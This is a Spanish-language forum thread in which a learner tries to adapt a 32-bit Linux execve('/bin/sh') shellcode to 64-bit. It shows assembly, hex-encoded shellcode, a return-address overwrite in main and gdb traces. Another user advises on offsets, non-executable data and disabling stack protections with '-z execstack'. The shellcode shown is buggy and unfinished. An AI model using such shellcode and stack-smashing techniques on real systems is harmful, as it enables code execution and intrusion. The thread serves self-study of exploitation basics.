Autor
|
Tema: Intentando hacer shellcode 64 bits (Leído 5,369 veces)
|
lapras
|
Hola estoy empezando a escribir shellcodes. Estaba leyendo un manual que encontre en esta misma página: Shellcodes linux de Raise. He llegado ala parte en donde pone este código: jmp 0x1f popl %esi xorl %eax,%eax movb %al,0x7(%esi) movl %esi,0x8(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %eax,%eax xorl %ebx,%ebx inc %eax int $0x80 call -0x24 .string \"/bin/sh\"
Como podrán comprobar es ensamblador de 32 bit y al compilarlo me da error. Entonces decidí hacer una modificaciones: void funcion(); int main(){ funcion(); } void funcion(){ asm("jmp 0x2e(%rip);" "popq %rsi;" "xorq %rax,%rax;" "movb %al,0x7(%rsi);" "movq %rsi,0x8(%rsi);" "movq %rax,0xc(%rsi);" "movb $0xb,%al;" "movq %rsi,%rbx;" "leaq 0x8(%rsi),%rcx;" "leaq 0xc(%rsi),%rdx;" "int $0x80;" "xorq %rax,%rax;" "xorq %rbx,%rbx;" "inc %rax;" "int $0x80;" "call -0x29;" ".string \"/bin/sh\";"); }
Luego el problema es que me da segmentation fault. Les pongo un pequeño analisis en gdb para que lo vean más claro: (gdb) disassemble funcion Dump of assembler code for function _Z7funcionv: 0x00000000004005c4 <+0>: push %rbp 0x00000000004005c5 <+1>: mov %rsp,%rbp 0x00000000004005c8 <+4>: jmpq *0x2e(%rip) # 0x4005fc <_Z7funcionv+56> 0x00000000004005ce <+10>: pop %rsi 0x00000000004005cf <+11>: xor %rax,%rax 0x00000000004005d2 <+14>: mov %al,0x7(%rsi) 0x00000000004005d5 <+17>: mov %rsi,0x8(%rsi) 0x00000000004005d9 <+21>: mov %rax,0xc(%rsi) 0x00000000004005dd <+25>: mov $0xb,%al 0x00000000004005df <+27>: mov %rsi,%rbx 0x00000000004005e2 <+30>: lea 0x8(%rsi),%rcx 0x00000000004005e6 <+34>: lea 0xc(%rsi),%rdx 0x00000000004005ea <+38>: int $0x80 0x00000000004005ec <+40>: xor %rax,%rax 0x00000000004005ef <+43>: xor %rbx,%rbx 0x00000000004005f2 <+46>: inc %rax 0x00000000004005f5 <+49>: int $0x80 0x00000000004005f7 <+51>: callq 0xffffffffffffffd7 0x00000000004005fc <+56>: (bad) 0x00000000004005fd <+57>: (bad) 0x00000000004005fe <+58>: imul $0xc9006873,0x2f(%rsi),%ebp ---Type <return> to continue, or q <return> to quit--- 0x0000000000400605 <+65>: retq End of assembler dump. (gdb) run Starting program: /home/tuket/a.out
Program received signal SIGSEGV, Segmentation fault. 0x00000000004005c8 in funcion() () (gdb)
Ah por cierto al compilar el codigo me daba un warning en el jmp que dicia que no se habia indicado el signo *. Sin embargo en el codigo desemsamblado vemos que lo ha puesto solo. Aver si me podeis ayudar
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Hola tuket, Fijate el comentario en el jmpq ... 0x00000000004005c8 <+4>: jmpq *0x2e(%rip) # 0x4005fc <_Z7funcionv+56> ... 0x00000000004005f7 <+51>: callq 0xffffffffffffffd7 0x00000000004005fc <+56>: (bad)
Salta a la 4005fc, justo despues del callq, probablemente sea ese el error. Te aconsejo que uses labels, asi dejas al compilador que te calcule los offsets. O sea, una cosa asi: .text jmp data sc: popl %esi xorl %eax,%eax movb %al,0x7(%esi) movl %esi,0x8(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %eax,%eax xorl %ebx,%ebx inc %eax int $0x80 data: call sc .string "/bin/sh"
Porque no lo compilas con as o con cualquier otro ensamblador en lugar de hacerlo embedido en C ?
|
|
|
En línea
|
|
|
|
lapras
|
Sip tienes razon por que salta a (bad) ese era un fallo. Ahora he puesto etiquetas. De todos modos creo que para hacer shellcodes la posicion tiene que ser relativa porque luego se cambia. Con etiquetas me sigue saliendo segmentation fault i creo que se porque es: 0x00000000004005c4 <+0>: push %rbp 0x00000000004005c5 <+1>: mov %rsp,%rbp 0x00000000004005c8 <+4>: jmp 0x4005f3 <data> 0x00000000004005ca <+6>: pop %rsi 0x00000000004005cb <+7>: xor %rax,%rax 0x00000000004005ce <+10>: mov %al,0x7(%rsi) 0x00000000004005d1 <+13>: mov %rsi,0x8(%rsi) 0x00000000004005d5 <+17>: mov %rax,0xc(%rsi) 0x00000000004005d9 <+21>: mov $0xb,%al 0x00000000004005db <+23>: mov %rsi,%rbx 0x00000000004005de <+26>: lea 0x8(%rsi),%rcx 0x00000000004005e2 <+30>: lea 0xc(%rsi),%rdx 0x00000000004005e6 <+34>: int $0x80 0x00000000004005e8 <+36>: xor %rax,%rax 0x00000000004005eb <+39>: xor %rbx,%rbx 0x00000000004005ee <+42>: inc %rax 0x00000000004005f1 <+45>: int $0x80 0x00000000004005f3 <+0>: callq 0x4005ca <_Z7funcionv+6> 0x00000000004005f8 <+5>: (bad) 0x00000000004005f9 <+6>: (bad) 0x00000000004005fa <+7>: imul $0x78786873,0x2f(%rsi),%ebp 0x0000000000400601 <+14>: js 0x40067b <__libc_csu_init+27>
Ahora vemos que si que salta donde deberia. Pero sale segmentation fault con el gdb me sale lo siguiente: (gdb) break funcion Punto de interrupción 1 at 0x4005c8 (gdb) run Starting program: /home/tuket/a.out
Breakpoint 1, 0x00000000004005c8 in funcion() () (gdb) stepi 0x00000000004005f3 in data () (gdb) stepi 0x00000000004005ca in funcion() () (gdb) stepi 0x00000000004005cb in funcion() () (gdb) stepi 0x00000000004005ce in funcion() () (gdb) stepi
Program received signal SIGSEGV, Segmentation fault. 0x00000000004005ce in funcion() () (gdb)
0x00000000004005ce ahi es donde da error. Habia pensado que igual era por que intenta escribir en la sección de codigo de programa y eso no se puede(si alguien lo sabe seguro que lo confirme).Tal vez como es una shellcode se supone que deberia estar en la pila y el codigo en ese caso si se podria modiaficar. Aver si alguien me lo puede decir. Y gracias por la respuesta
|
|
|
En línea
|
|
|
|
lapras
|
Mmm... creo que ya lo tengo. Pero tengo sueño mañana os cuento que ya es tarde.
|
|
|
En línea
|
|
|
|
lapras
|
Pues no, no lo tengo pero casi. Necesito más tiempo. Ya os contare. Todavía se admiten respuestas y sugerencia
|
|
|
En línea
|
|
|
|
lapras
|
Maldita sea ahora tengo otro problema. Al final tengo el código así: #include<iostream> using namespace std; //void funcion(); char hole[]="\x55\x48\x89\xe5\xff\x25\x29\x00\x00\x00\x5e\x48\x31\xc0\x88\x46\x07\x48\x89\x76\x08\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xc0\x48\x31\xdb\x48\xff\xc0\xcd\x80\xff\x15\xd1\xff\xff\xff/bin/edx"; int main(){ long *ret; ret= (long*)&ret; ret+=2; *ret = (long)hole; } /*void funcion(){ asm("jmp *0x29(%rip);" "popq %rsi;" "xorq %rax,%rax;" "movb %al,0x7(%rsi);" "movq %rsi,0x8(%rsi);" "movq %rax,0xc(%rsi);" "movb $0xb,%al;" "movq %rsi,%rbx;" "leaq 0x8(%rsi),%rcx;" "leaq 0xc(%rsi),%rdx;" "int $0x80;" "xorq %rax,%rax;" "xorq %rbx,%rbx;" "inc %rax;" "int $0x80;" "call *-0x2f(%rip);" ".string \"/bin/shxxx\";"); }*/
Ahora tengo un error super raro. He conseguido que la dirección de retorno de main pase a la dirección de hole[] para poder ejecutar la shellcode. Pues bien, ahora el error(segmentation faoult)esta dentro de la shellcode, ¡en la 1º linea de la shellcode! Mirad: (gdb) run Starting program: /home/tuket/a.out
Breakpoint 1, 0x00000000004006e8 in main () (gdb) stepi 0x00000000004006ec in main () (gdb) 0x00000000004006f0 in main () (gdb) 0x00000000004006f4 in main () (gdb) 0x00000000004006f8 in main () (gdb) 0x00000000004006fc in main () (gdb) 0x0000000000400700 in main () (gdb) 0x0000000000400705 in main () (gdb) 0x0000000000400708 in main () (gdb) 0x000000000040070d in main () (gdb) 0x000000000040070e in main () (gdb) 0x0000000000601060 in hole () (gdb)
Program received signal SIGSEGV, Segmentation fault. 0x0000000000601060 in hole () (gdb) disassemble 0x0000000000601060 Dump of assembler code for function hole: => 0x0000000000601060 <+0>: push %rbp 0x0000000000601061 <+1>: mov %rsp,%rbp 0x0000000000601064 <+4>: jmpq *0x29(%rip) # 0x601093 <hole+51> 0x000000000060106a <+10>: pop %rsi 0x000000000060106b <+11>: xor %rax,%rax 0x000000000060106e <+14>: mov %al,0x7(%rsi) 0x0000000000601071 <+17>: mov %rsi,0x8(%rsi) 0x0000000000601075 <+21>: mov %rax,0xc(%rsi) 0x0000000000601079 <+25>: mov $0xb,%al 0x000000000060107b <+27>: mov %rsi,%rbx 0x000000000060107e <+30>: lea 0x8(%rsi),%rcx 0x0000000000601082 <+34>: lea 0xc(%rsi),%rdx 0x0000000000601086 <+38>: int $0x80 0x0000000000601088 <+40>: xor %rax,%rax 0x000000000060108b <+43>: xor %rbx,%rbx 0x000000000060108e <+46>: inc %rax 0x0000000000601091 <+49>: int $0x80 0x0000000000601093 <+51>: callq *-0x2f(%rip) # 0x60106a <hole+10> 0x0000000000601099 <+57>: (bad) 0x000000000060109a <+58>: (bad) 0x000000000060109b <+59>: imul $0x786465,0x2f(%rsi),%ebp End of assembler dump. (gdb)
Como podréis observar el segmentation fault aparece en la 1º linea de la shellcode y esa linea tiene un push.¿Como demonios puede dar segmentation fault un maldito push que simplemente introduce un dato en la pila? Ayudadme que estoy desesperao xD
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Hola tuket,
Seguramente es porque la sección de datos no es ejecutable!
Mete la declaracion de hole[] adentro del main, compila con la opcion "-z execstack" y contanos.
Saludos
|
|
|
En línea
|
|
|
|
lapras
|
Gracias por tu respuesta Ivanchuk. Supongo que eso sera para meter datos en la pila en vez de en la sección data. Es muy buena idea. Lo he dejado asi. int main(){
char hole[]="\x55\x48\x89\xe5\xff\x25\x29\x00\x00\x00\x5e\x48\x31\xc0\x88\x46\x07\x48\x89\x76\x08\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xc0\x48\x31\xdb\x48\xff\xc0\xcd\x80\xff\x15\xd1\xff\xff\xff/bin/ed";
long *ret; ret= (long*)&ret; ret+=2; *ret =(long)hole;
} Ahora lo que pasa es que debe de calcular la nueva direccion de retorno. Por que como se han introducido datos en la pila la direccion de ret ya no estara a +2 de la direccion de retorno de main. Es dicir en vez de poner ret+=2 tendria que poner ese numero.Aver si lo puedo calcular. Muchas gracias
|
|
« Última modificación: 28 Julio 2011, 10:40 am por tuket »
|
En línea
|
|
|
|
lapras
|
Para calcular ese numero he hecho lo siguiente: He contado los bytes de la cadena y me da justamente 64. He observado que cuando yo ponia +2 luego en gdb ponia +0x10 que son 16. Por eso va de 8 en 8. Entonces he dividido 64/8=8 y luego 8+2 =10. por eso he puesto : ret+=10; Pero algo extraño pasa: tuket@tuket-desktop:~$ ./a.out *** stack smashing detected ***: ./a.out terminated ======= Backtrace: ========= /lib/libc.so.6(__fortify_fail+0x37)[0x7f0d2ff73217] /lib/libc.so.6(__fortify_fail+0x0)[0x7f0d2ff731e0] ./a.out[0x400805] /lib/libc.so.6(__libc_start_main+0xfd)[0x7f0d2fe92c4d] ./a.out[0x400699] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:02 3670187 /home/tuket/a.out 00600000-00601000 r-xp 00000000 08:02 3670187 /home/tuket/a.out 00601000-00602000 rwxp 00001000 08:02 3670187 /home/tuket/a.out 00e52000-00e73000 rwxp 00000000 00:00 0 [heap] 7f0d2fe74000-7f0d2ffee000 r-xp 00000000 08:02 917651 /lib/libc-2.11.1.so 7f0d2ffee000-7f0d301ed000 ---p 0017a000 08:02 917651 /lib/libc-2.11.1.so 7f0d301ed000-7f0d301f1000 r-xp 00179000 08:02 917651 /lib/libc-2.11.1.so 7f0d301f1000-7f0d301f2000 rwxp 0017d000 08:02 917651 /lib/libc-2.11.1.so 7f0d301f2000-7f0d301f7000 rwxp 00000000 00:00 0 7f0d301f7000-7f0d3020d000 r-xp 00000000 08:02 917583 /lib/libgcc_s.so.1 7f0d3020d000-7f0d3040c000 ---p 00016000 08:02 917583 /lib/libgcc_s.so.1 7f0d3040c000-7f0d3040d000 r-xp 00015000 08:02 917583 /lib/libgcc_s.so.1 7f0d3040d000-7f0d3040e000 rwxp 00016000 08:02 917583 /lib/libgcc_s.so.1 7f0d3040e000-7f0d30490000 r-xp 00000000 08:02 918093 /lib/libm-2.11.1.so 7f0d30490000-7f0d3068f000 ---p 00082000 08:02 918093 /lib/libm-2.11.1.so 7f0d3068f000-7f0d30690000 r-xp 00081000 08:02 918093 /lib/libm-2.11.1.so 7f0d30690000-7f0d30691000 rwxp 00082000 08:02 918093 /lib/libm-2.11.1.so 7f0d30691000-7f0d30787000 r-xp 00000000 08:02 6164233 /usr/lib/libstdc++.so.6.0.13 7f0d30787000-7f0d30987000 ---p 000f6000 08:02 6164233 /usr/lib/libstdc++.so.6.0.13 7f0d30987000-7f0d3098e000 r-xp 000f6000 08:02 6164233 /usr/lib/libstdc++.so.6.0.13 7f0d3098e000-7f0d30990000 rwxp 000fd000 08:02 6164233 /usr/lib/libstdc++.so.6.0.13 7f0d30990000-7f0d309a5000 rwxp 00000000 00:00 0 7f0d309a5000-7f0d309c5000 r-xp 00000000 08:02 917559 /lib/ld-2.11.1.so 7f0d30b9d000-7f0d30ba1000 rwxp 00000000 00:00 0 7f0d30bc2000-7f0d30bc4000 rwxp 00000000 00:00 0 7f0d30bc4000-7f0d30bc5000 r-xp 0001f000 08:02 917559 /lib/ld-2.11.1.so 7f0d30bc5000-7f0d30bc6000 rwxp 00020000 08:02 917559 /lib/ld-2.11.1.so 7f0d30bc6000-7f0d30bc7000 rwxp 00000000 00:00 0 7fff885b8000-7fff885cd000 rwxp 00000000 00:00 0 [stack] 7fff885ff000-7fff88600000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Abortado tuket@tuket-desktop:~$
Es como si se diera cuanta de que intento desbordar la pila. Oh mira lo que he encontrado: http://www.exploit-db.com/papers/13065/Aver si esto me da pistas
|
|
« Última modificación: 28 Julio 2011, 14:19 pm por tuket »
|
En línea
|
|
|
|
lapras
|
Mira lo que dice el cabroncete del texto anterior Como veremos mas adelante las cosas se han puesto bastante dificiles. Se ha añadido 'proteccion' via hardware, y el kernel se ha parcheado añadiendo aun mas dificultades. Definitivamente el tipico exploit_base.c en el que modificando cuatro valores tenias un exploit funcional ha pasado a la historia.
|
|
|
En línea
|
|
|
|
|
|